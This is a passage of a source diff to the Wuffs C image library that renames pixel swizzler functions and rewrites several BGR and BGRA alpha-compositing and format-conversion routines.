+ (0 * 8))); ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + +- s += 1 * 2; ++ s += 1 * 8; + d += 1 * 3; + n -= 1; + } +@@ -22933,154 +24033,200 @@ wuffs_base__pixel_swizzler__rgb__bgr_565(uint8_t* dst_ptr, + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src( ++wuffs_private_impl__swizzle_bgr__bgra_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; +- + size_t n = len; ++ ++ // TODO: unroll. ++ + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__color_u64__as__color_u32__swap_u32_argb_abgr( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sr = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sb = 0x101 * ((uint32_t)s[0]); + +- s += 1 * 8; +- d += 1 * 4; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); ++ ++ s += 1 * 4; ++ d += 1 * 3; + n -= 1; + } ++ + return len; + } + + static uint64_t // +-wuffs_base__pixel_swizzler__rgba_nonpremul__bgra_nonpremul_4x16le__src_over( ++wuffs_private_impl__swizzle_bgr__bgra_nonpremul_4x16le__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- size_t dst_len4 = dst_len / 4; ++ size_t dst_len3 = dst_len / 3; + size_t src_len8 = src_len / 8; +- size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + ++ // TODO: unroll. ++ + while (n >= 1) { +- uint64_t d0 = wuffs_base__color_u32__as__color_u64( +- wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); +- uint64_t s0 = wuffs_base__swap_u64_argb_abgr( +- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__color_u64__as__color_u32( +- wuffs_base__composite_nonpremul_nonpremul_u64_axxx(d0, s0))); ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); ++ uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); ++ uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); ++ uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); ++ ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); + + s += 1 * 8; +- d += 1 * 4; ++ d += 1 * 3; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__rgbw__bgr_565(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- size_t dst_len4 = dst_len / 4; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len4 < src_len2) ? dst_len4 : src_len2; ++wuffs_private_impl__swizzle_bgr__bgra_premul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- // TODO: unroll. +- + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), +- wuffs_base__swap_u32_argb_abgr( +- wuffs_base__color_u16_rgb_565__as__color_u32_argb_premul( +- wuffs_base__peek_u16le__no_bounds_check(s + (0 * 2))))); ++ uint8_t s0 = s[0]; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s0; ++ d[1] = s1; ++ d[2] = s2; + +- s += 1 * 2; +- d += 1 * 4; ++ s += 1 * 4; ++ d += 1 * 3; + n -= 1; + } + + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__index__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } ++wuffs_private_impl__swizzle_bgr__bgra_premul__src_over(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len3 = dst_len / 3; +- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- const size_t loop_unroll_count = 4; ++ while (n >= 1) { ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sr = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sb = 0x101 * ((uint32_t)s[0]); + +- // The comparison in the while condition is ">", not ">=", because with +- // ">=", the last 4-byte store could write past the end of the dst slice. +- // +- // Each 4-byte store writes one too many bytes, but a subsequent store +- // will overwrite that with the correct byte. There is always another +- // store, whether a 4-byte store in this loop or a 1-byte store in the +- // next loop. +- while (n > loop_unroll_count) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (1 * 3), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[1] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (2 * 3), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[2] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (3 * 3), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[3] * 4))); ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; + +- s += loop_unroll_count * 1; +- d += loop_unroll_count * 3; +- n -= loop_unroll_count; ++ // Composite src (premul) over dst (premul). ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); ++ ++ s += 1 * 4; ++ d += 1 * 3; ++ n -= 1; + } + ++ return len; ++} ++ ++static uint64_t // ++wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; ++ ++ // TODO: unroll. ++ + while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)))); + wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + +- s += 1 * 1; ++ s += 1 * 4; + d += 1 * 3; + n -= 1; + } +@@ -23089,19 +24235,16 @@ wuffs_base__pixel_swizzler__xxx__index__src(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over( ++wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } + size_t dst_len3 = dst_len / 3; +- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -23109,14 +24252,12 @@ wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over( + // TODO: unroll. + + while (n >= 1) { +- uint32_t d0 = +- wuffs_base__peek_u24le__no_bounds_check(d + (0 * 3)) | 0xFF000000; +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- wuffs_base__poke_u24le__no_bounds_check( +- d + (0 * 3), wuffs_base__composite_premul_nonpremul_u32_axxx(d0, s0)); ++ uint32_t s0 = wuffs_private_impl__swap_u32_argb_abgr( ++ wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); ++ wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); + +- s += 1 * 1; ++ s += 1 * 8; + d += 1 * 3; + n -= 1; + } +@@ -23125,60 +24266,46 @@ wuffs_base__pixel_swizzler__xxx__index_bgra_nonpremul__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over( ++wuffs_private_impl__swizzle_bgr__rgba_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } + size_t dst_len3 = dst_len / 3; +- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- const size_t loop_unroll_count = 4; ++ // TODO: unroll. + +- while (n >= loop_unroll_count) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); +- } +- uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[1] * 4)); +- if (s1) { +- wuffs_base__poke_u24le__no_bounds_check(d + (1 * 3), s1); +- } +- uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[2] * 4)); +- if (s2) { +- wuffs_base__poke_u24le__no_bounds_check(d + (2 * 3), s2); +- } +- uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[3] * 4)); +- if (s3) { +- wuffs_base__poke_u24le__no_bounds_check(d + (3 * 3), s3); +- } ++ while (n >= 1) { ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sb = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sr = 0x101 * ((uint32_t)s[0]); + +- s += loop_unroll_count * 1; +- d += loop_unroll_count * 3; +- n -= loop_unroll_count; +- } ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; + +- while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u24le__no_bounds_check(d + (0 * 3), s0); +- } ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; + +- s += 1 * 1; ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); ++ ++ s += 1 * 4; + d += 1 * 3; + n -= 1; + } +@@ -23187,15 +24314,16 @@ wuffs_base__pixel_swizzler__xxx__index_binary_alpha__src_over( + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__xxxx(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgr__rgba_nonpremul_4x16le__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len3 = dst_len / 3; +- size_t src_len4 = src_len / 4; +- size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len3 < src_len8) ? dst_len3 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; +@@ -23203,10 +24331,29 @@ wuffs_base__pixel_swizzler__xxx__xxxx(uint8_t* dst_ptr, + // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u24le__no_bounds_check( +- d + (0 * 3), wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))); ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 6)); ++ uint32_t sb = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 4)); ++ uint32_t sg = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 2)); ++ uint32_t sr = ((uint32_t)wuffs_base__peek_u16le__no_bounds_check(s + 0)); + +- s += 1 * 4; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (nonpremul) over dst (premul). ++ dr = ((sr * sa) + (dr * ia)) / 0xFFFF; ++ dg = ((sg * sa) + (dg * ia)) / 0xFFFF; ++ db = ((sb * sa) + (db * ia)) / 0xFFFF; ++ ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); ++ ++ s += 1 * 8; + d += 1 * 3; + n -= 1; + } +@@ -23215,27 +24362,28 @@ wuffs_base__pixel_swizzler__xxx__xxxx(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__y(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgr__rgba_premul__src(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len3 = dst_len / 3; +- size_t len = (dst_len3 < src_len) ? dst_len3 : src_len; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- // TODO: unroll. +- + while (n >= 1) { + uint8_t s0 = s[0]; +- d[0] = s0; +- d[1] = s0; ++ uint8_t s1 = s[1]; ++ uint8_t s2 = s[2]; ++ d[0] = s2; ++ d[1] = s1; + d[2] = s0; + +- s += 1 * 1; ++ s += 1 * 4; + d += 1 * 3; + n -= 1; + } +@@ -23244,28 +24392,43 @@ wuffs_base__pixel_swizzler__xxx__y(uint8_t* dst_ptr, + } + + static uint64_t // +-wuffs_base__pixel_swizzler__xxx__y_16be(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgr__rgba_premul__src_over(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len3 = dst_len / 3; +- size_t src_len2 = src_len / 2; +- size_t len = (dst_len3 < src_len2) ? dst_len3 : src_len2; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- // TODO: unroll. +- + while (n >= 1) { +- uint8_t s0 = s[0]; +- d[0] = s0; +- d[1] = s0; +- d[2] = s0; ++ // Extract 16-bit color components. ++ uint32_t dr = 0x101 * ((uint32_t)d[2]); ++ uint32_t dg = 0x101 * ((uint32_t)d[1]); ++ uint32_t db = 0x101 * ((uint32_t)d[0]); ++ uint32_t sa = 0x101 * ((uint32_t)s[3]); ++ uint32_t sb = 0x101 * ((uint32_t)s[2]); ++ uint32_t sg = 0x101 * ((uint32_t)s[1]); ++ uint32_t sr = 0x101 * ((uint32_t)s[0]); + +- s += 1 * 2; ++ // Calculate the inverse of the src-alpha: how much of the dst to keep. ++ uint32_t ia = 0xFFFF - sa; ++ ++ // Composite src (premul) over dst (premul). ++ dr = sr + ((dr * ia) / 0xFFFF); ++ dg = sg + ((dg * ia) / 0xFFFF); ++ db = sb + ((db * ia) / 0xFFFF); ++ ++ // Convert from 16-bit color to 8-bit color. ++ d[0] = (uint8_t)(db >> 8); ++ d[1] = (uint8_t)(dg >> 8); ++ d[2] = (uint8_t)(dr >> 8); ++ ++ s += 1 * 4; + d += 1 * 3; + n -= 1; + } +@@ -23273,114 +24436,63 @@ wuffs_base__pixel_swizzler__xxx__y_16be(uint8_t* dst_ptr, + return len; + } + +-// -------- +- + static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__index__src(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } +- size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++wuffs_private_impl__swizzle_bgr__rgbx(uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len3 = dst_len / 3; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len3 < src_len4) ? dst_len3 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- const size_t loop_unroll_count = 4; +- +- while (n >= loop_unroll_count) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (1 * 4), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[1] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (2 * 4), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[2] * 4))); +- wuffs_base__poke_u32le__no_bounds_check( +- d + (3 * 4), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[3] * 4))); +- +- s += loop_unroll_count * 1; +- d += loop_unroll_count * 4; +- n -= loop_unroll_count; +- } ++ // TODO: unroll. + + while (n >= 1) { +- wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), wuffs_base__peek_u32le__no_bounds_check( +- dst_palette_ptr + ((size_t)s[0] * 4))); ++ uint8_t b0 = s[0]; ++ uint8_t b1 = s[1]; ++ uint8_t b2 = s[2]; ++ d[0] = b2; ++ d[1] = b1; ++ d[2] = b0; + +- s += 1 * 1; +- d += 1 * 4; ++ s += 1 * 4; ++ d += 1 * 3; + n -= 1; + } + + return len; + } + ++// -------- ++ + static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over( ++wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul__src_over( + uint8_t* dst_ptr, + size_t dst_len, + uint8_t* dst_palette_ptr, + size_t dst_palette_len, + const uint8_t* src_ptr, + size_t src_len) { +- if (dst_palette_len != +- WUFFS_BASE__PIXEL_FORMAT__INDEXED__PALETTE_BYTE_LENGTH) { +- return 0; +- } + size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ size_t src_len4 = src_len / 4; ++ size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; + size_t n = len; + +- const size_t loop_unroll_count = 4; +- +- while (n >= loop_unroll_count) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); +- } +- uint32_t s1 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[1] * 4)); +- if (s1) { +- wuffs_base__poke_u32le__no_bounds_check(d + (1 * 4), s1); +- } +- uint32_t s2 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[2] * 4)); +- if (s2) { +- wuffs_base__poke_u32le__no_bounds_check(d + (2 * 4), s2); +- } +- uint32_t s3 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[3] * 4)); +- if (s3) { +- wuffs_base__poke_u32le__no_bounds_check(d + (3 * 4), s3); +- } +- +- s += loop_unroll_count * 1; +- d += loop_unroll_count * 4; +- n -= loop_unroll_count; +- } +- + while (n >= 1) { +- uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(dst_palette_ptr + +- ((size_t)s[0] * 4)); +- if (s0) { +- wuffs_base__poke_u32le__no_bounds_check(d + (0 * 4), s0); +- } ++ uint32_t d0 = wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4)); ++ uint32_t s0 = wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4)); ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), ++ wuffs_private_impl__composite_nonpremul_nonpremul_u32_axxx(d0, s0)); + +- s += 1 * 1; ++ s += 1 * 4; + d += 1 * 4; + n -= 1; + } +@@ -23388,75 +24500,88 @@ wuffs_base__pixel_swizzler__xxxx__index_binary_alpha__src_over( + return len; + } + +-// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") + static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__y__x86_sse42(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; + uint8_t* d = dst_ptr; + const uint8_t* s = src_ptr; ++ + size_t n = len; ++ while (n >= 1) { ++ wuffs_base__poke_u32le__no_bounds_check( ++ d + (0 * 4), wuffs_base__color_u64__as__color_u32( ++ wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)))); + +- __m128i shuffle = _mm_set_epi8(+0x03, +0x03, +0x03, +0x03, // +- +0x02, +0x02, +0x02, +0x02, // +- +0x01, +0x01, +0x01, +0x01, // +- +0x00, +0x00, +0x00, +0x00); +- __m128i or_ff = _mm_set_epi8(-0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00, // +- -0x01, +0x00, +0x00, +0x00); +- +- while (n >= 4) { +- __m128i x; +- x = _mm_cvtsi32_si128((int)(wuffs_base__peek_u32le__no_bounds_check(s))); +- x = _mm_shuffle_epi8(x, shuffle); +- x = _mm_or_si128(x, or_ff); +- _mm_storeu_si128((__m128i*)(void*)d, x); +- +- s += 4 * 1; +- d += 4 * 4; +- n -= 4; ++ s += 1 * 8; ++ d += 1 * 4; ++ n -= 1; + } ++ return len; ++} ++ ++static uint64_t // ++wuffs_private_impl__swizzle_bgra_nonpremul__bgra_nonpremul_4x16le__src_over( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { ++ size_t dst_len4 = dst_len / 4; ++ size_t src_len8 = src_len / 8; ++ size_t len = (dst_len4 < src_len8) ? dst_len4 : src_len8; ++ uint8_t* d = dst_ptr; ++ const uint8_t* s = src_ptr; ++ size_t n = len; + + while (n >= 1) { ++ uint64_t d0 = wuffs_base__color_u32__as__color_u64( ++ wuffs_base__peek_u32le__no_bounds_check(d + (0 * 4))); ++ uint64_t s0 = wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8)); + wuffs_base__poke_u32le__no_bounds_check( +- d + (0 * 4), 0xFF000000 | (0x010101 * (uint32_t)s[0])); ++ d + (0 * 4), ++ wuffs_base__color_u64__as__color_u32( ++ wuffs_private_impl__composite_nonpremul_nonpremul_u64_axxx(d0, ++ s0))); + +- s += 1 * 1; ++ s += 1 * 8; + d += 1 * 4; + n -= 1; + } + + return len; + } +-#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +-// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 + + static uint64_t // +-wuffs_base__pixel_swizzler__xxxx__y(uint8_t* dst_ptr, +- size_t dst_len, +- uint8_t* dst_palette_ptr, +- size_t dst_palette_len, +- const uint8_t* src_ptr, +- size_t src_len) { ++wuffs_private_impl__swizzle_bgra_nonpremul__bgra_premul__src( ++ uint8_t* dst_ptr, ++ size_t dst_len, ++ uint8_t* dst_palette_ptr, ++ size_t dst_palette_len, ++ const uint8_t* src_ptr, ++ size_t src_len) { + size_t dst_len4 = dst_len / 4; +- size_t len = (dst_len4 < src_len) ? dst_len4 : src_len; ++ size_t 